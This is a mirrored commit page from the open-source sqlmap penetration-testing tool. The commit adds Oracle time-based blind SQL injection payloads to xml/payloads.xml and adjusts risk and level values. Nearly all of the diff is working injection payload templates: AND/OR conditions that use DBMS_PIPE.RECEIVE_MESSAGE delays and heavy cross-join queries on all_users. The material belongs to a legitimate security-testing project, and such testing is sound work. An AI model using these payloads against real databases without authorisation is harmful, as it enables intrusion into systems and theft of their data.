sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-11-04 09:57:38 +03:00
Code Issues Packages Projects Releases Wiki Activity

added one more time based blind for Oracle

Browse Source
This commit is contained in:
Miroslav Stampar 2010-12-06 23:05:53 +00:00
parent 7697d19292
commit 1031723c89
1 changed files with 38 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

40
xml/payloads.xml
View File

@ -1420,10 +1420,28 @@ Formats:
</details> </details>
</test> </test>
<test>
<title>Oracle AND time-based blind</title>
<stype>5</stype>
<level>1</level>
<risk>2</risk>
<clause>1,2,3</clause>
<where>1</where>
<request>
<payload>AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test> <test>
<title>Oracle AND time-based blind (heavy query)</title> <title>Oracle AND time-based blind (heavy query)</title>
<stype>5</stype> <stype>5</stype>
<level>2</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>1</where> <where>1</where>
@ -1562,12 +1580,30 @@ Formats:
</test> </test>
<test> <test>
<title>Oracle OR time-based blind (heavy query)</title> <title>Oracle OR time-based blind</title>
<stype>5</stype> <stype>5</stype>
<level>3</level> <level>3</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>2</where> <where>2</where>
<request>
<payload>OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>4</risk>
<clause>1,2,3</clause>
<where>2</where>
<request> <request>
<payload>OR (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload> <payload>OR (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0</payload>
</request> </request>